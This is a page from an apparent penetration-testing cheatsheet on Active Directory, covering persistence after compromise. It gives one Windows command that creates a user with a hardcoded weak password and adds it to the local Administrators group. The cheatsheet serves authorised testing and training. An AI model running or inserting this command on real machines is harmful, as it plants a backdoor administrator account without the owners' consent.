cheatsheet
  • Introduction
  • Internal Pentest
    • Active Directory
      • Reconnaissance
        • Find Domain Name
        • Find Domain Controllers
        • Enumerating Machines
        • Enumerating Services
        • DNS Enumeration
      • Exploitation
        • Exploit Without Account
          • SMB Relay
        • Exploit With Account
          • Kerberoast Attack
      • Post-Exploitation
        • Extracting Credentials
          • Retrieve Windows passwords
          • Retrieve Windows hashes
        • Maintening Access
          • Adding Local Administrator
        • Lateral Movement
          • SMB protocol
Powered by GitBook
On this page
  1. Internal Pentest
  2. Active Directory
  3. Post-Exploitation
  4. Maintening Access

Adding Local Administrator

Adding a local administrator on a machine is a very effective way to maintain access to a machine.

This can simply be done with these commands.

net user lle Password123! /add && net localgroup Administrators lle /add

PreviousMaintening AccessNextLateral Movement

Last updated 5 years ago